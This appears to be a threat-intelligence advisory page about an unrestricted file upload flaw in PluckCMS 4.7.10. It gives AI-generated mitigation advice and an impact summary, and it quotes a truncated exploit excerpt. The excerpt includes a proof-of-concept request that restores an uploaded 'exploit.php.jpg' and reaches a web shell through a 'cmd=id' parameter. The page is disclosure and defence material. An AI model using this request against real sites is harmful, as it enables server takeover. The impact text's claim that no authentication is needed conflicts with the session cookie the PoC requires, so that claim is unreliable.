ExploitPublished 3 Dec 2025

PluckCMS 4.7.10 · Unrestricted File Upload

Source Exploit-DB RSS Feed

Severity

Medium

Rated by Threat Radar

Data as of 30 Dec 2025, 22:16 UTC

What to do

AI-suggested

2) Implement robust input validation and sanitization to prevent malicious payloads. 3) Configure web server permissions to disallow execution of uploaded files in upload directories. 4) Employ web application firewalls (WAFs) to detect and block suspicious file upload attempts. 5) Monitor server logs for unusual upload activity and access patterns. 6) Isolate the CMS environment to limit the impact of a potential compromise. 7) Regularly back up website data and configurations to enable rapid recovery. 8) Stay informed about updates from PluckCMS developers and apply patches promptly once available. 9) Conduct security assessments and penetration testing focused on file upload mechanisms. These targeted actions go beyond generic advice by focusing on the specific nature of the unrestricted file upload vulnerability.

Description

PluckCMS 4.7.10 - Unrestricted File Upload

Impact

For European organizations, this vulnerability poses a significant risk to websites and web applications running PluckCMS 4.7.10. Successful exploitation can lead to unauthorized access, data breaches, defacement of websites, and deployment of malware or ransomware. The ability to execute arbitrary code remotely can compromise backend systems and sensitive data, impacting business operations and customer trust. Public sector websites, e-commerce platforms, and any organization relying on PluckCMS for content management are particularly vulnerable. The breach of confidentiality and integrity can lead to regulatory non-compliance under GDPR, resulting in legal and financial penalties. Additionally, availability may be affected if attackers disrupt services or use the compromised server as a pivot point for further attacks. The lack of authentication requirement increases the attack surface, making it easier for cybercriminals to exploit the vulnerability at scale. The threat is amplified by the availability of exploit code, which lowers the technical barrier for attackers.

Indicators of compromise

Exploit source code

Exploit code for PluckCMS 4.7.10 - Unrestricted File Upload972 characters

# Exploit Title: PluckCMS 4.7.10 - Unrestricted File Upload
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/pluck-cms/pluck/
# Software Link: https://github.com/pluck-cms/pluck/
# Version: 4.7.10 
# Tested on: Windows
# CVE : CVE-2020-20969


Proof Of Concept
GET /admin.php?action=trash_restoreitem&var1=exploit.php.jpg&var2=file HTTP/1.1
Host: pluck
Cookie: PHPSESSID=[valid_session_id]

**Access Method:**  
http://pluck/files/exploit_copy.php?cmd=id

**Addit…

References

Community reviews

Loading reviews…